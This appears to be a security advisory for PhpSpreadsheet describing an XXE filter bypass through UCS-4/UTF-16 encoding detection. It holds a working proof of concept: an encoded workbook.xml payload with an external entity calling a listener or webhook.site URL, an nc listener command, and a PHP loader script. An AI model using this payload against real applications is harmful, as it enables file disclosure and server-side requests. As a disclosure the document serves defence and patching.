XmlScanner bypass leads to XXE

Summary

The XmlScanner class has a scan method which should prevent XXE attacks.

However, the regexes used in the scan method and the findCharSet method can be bypassed by using UCS-4 and encoding guessing as described in <https://www.w3.org/TR/xml/#sec-guessing-no-ext-info>.

Details

The scan method converts the input in the UTF-8 encoding if it is not already in the UTF-8 encoding with the `toUtf8` method. Then, the scan method uses a regex which would also work with 16-bit encoding.

However, the regexes from the findCharSet method, which is used for determining the current encoding can be bypassed by using an encoding which has more than 8 bits, since the regex does not expect null bytes, and the XML library will also autodetect the encoding as described in <https://www.w3.org/TR/xml/#sec-guessing-no-ext-info>.

A payload for the workbook.xml file can for example be created with CyberChef')&input=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2IiBzdGFuZGFsb25lPSJ5ZXMiPz4KPCFET0NUWVBFIG1lc3NhZ2UgWwogICAgPCFFTlRJVFkgJSBleHQgU1lTVEVNICJodHRwOi8vMTI3LjAuMC4xOjEyMzQ1L2V4dC5kdGQiPgogICAgJWV4dDsKXT4KPHdvcmtib29rIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5vcGVueG1sZm9ybWF0cy5vcmcvc3ByZWFkc2hlZXRtbC8yMDA2L21haW4iIHhtbG5zOnI9Imh0dHA6Ly9zY2hlbWFzLm9wZW54bWxmb3JtYXRzLm9yZy9vZmZpY2VEb2N1bWVudC8yMDA2L3JlbGF0aW9uc2hpcHMiPjxmaWxlVmVyc2lvbiBhcHBOYW1lPSJDYWxjIi8%2BPHdvcmtib29rUHIgYmFja3VwRmlsZT0iZmFsc2UiIHNob3dPYmplY3RzPSJhbGwiIGRhdGUxOTA0PSJmYWxzZSIvPjx3b3JrYm9va1Byb3RlY3Rpb24vPjxib29rVmlld3M%2BPHdvcmtib29rVmlldyBzaG93SG9yaXpvbnRhbFNjcm9sbD0idHJ1ZSIgc2hvd1ZlcnRpY2FsU2Nyb2xsPSJ0cnVlIiBzaG93U2hlZXRUYWJzPSJ0cnVlIiB4V2luZG93PSIwIiB5V2luZG93PSIwIiB3aW5kb3dXaWR0aD0iMTYzODQiIHdpbmRvd0hlaWdodD0iODE5MiIgdGFiUmF0aW89IjUwMCIgZmlyc3RTaGVldD0iMCIgYWN0aXZlVGFiPSIwIi8%2BPC9ib29rVmlld3M%2BPHNoZWV0cz48c2hlZXQgbmFtZT0iU2hlZXQxIiBzaGVldElkPSIxIiBzdGF0ZT0idmlzaWJsZSIgcjppZD0icklkMiIvPjwvc2hlZXRzPjxjYWxjUHIgaXRlcmF0ZUNvdW50PSIxMDAiIHJlZk1vZGU9IkExIiBpdGVyYXRlPSJmYWxzZSIgaXRlcmF0ZURlbHRhPSIwLjAwMSIvPjxleHRMc3Q%2BPGV4dCB4bWxuczpsb2V4dD0iaHR0cDovL3NjaGVtYXMubGlicmVvZmZpY2Uub3JnLyIgdXJpPSJ7NzYyNkM4NjItMkExMy0xMUU1LUIzNDUtRkVGRjgxOUNEQzlGfSI%2BPGxvZXh0OmV4dENhbGNQciBzdHJpbmdSZWZTeW50YXg9IkNhbGNBMSIvPjwvZXh0PjwvZXh0THN0Pjwvd29ya2Jvb2s%2B.). If you open an Excel file containing the payload from the link above stored in the workbook.xml file with PhpSpreadsheet, you will receive an HTTP request on 127.0.0.1:12345. You can test that an HTTP request is created by running the nc -nlvp 12345 command before opening the file containing the payload with PhpSpreadsheet.

PoC

• Create a new folder.
• Run the composer require phpoffice/phpspreadsheet command in the new folder.
• Create an index.php file in that folder with the following content:

<?php
require 'vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Xlsx;

$spreadsheet = new Spreadsheet();

$inputFileType = 'Xlsx';
$inputFileName = './payload.xlsx';

/**  Create a new Reader of the type defined in $inputFileType  **/
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);
/**  Advise the Reader that we only want to load cell data  **/
$reader->setReadDataOnly(true);

$worksheetData = $reader->listWorksheetInfo($inputFileName);

foreach ($worksheetData as $worksheet) {

$sheetName = $worksheet['worksheetName'];

echo "<h4>$sheetName</h4>";
/**  Load $inputFileName to a Spreadsheet Object  **/
$reader->setLoadSheetsOnly($sheetName);
$spreadsheet = $reader->load($inputFileName);

$worksheet = $spreadsheet->getActiveSheet();
print_r($worksheet->toArray());

}

• Run the following command: php -S 127.0.0.1:8080
• Add the payload.xlsx file, which contains a payload similar to the payload from the details section, but with the URL https://webhook.site/65744200-63d2-43a2-a6a0-cca8d6b0d50a instead of the http://127.0.0.1:12345/ext.dtd URL, in the folder and open <https://127.0.0.1:8080> in a browser. You will see an HTTP request on <https://webhook.site/#!/view/65744200-63d2-43a2-a6a0-cca8d6b0d50a>.

Impact

An attacker can bypass the sanitizer and achieve an XXE attack_Processing).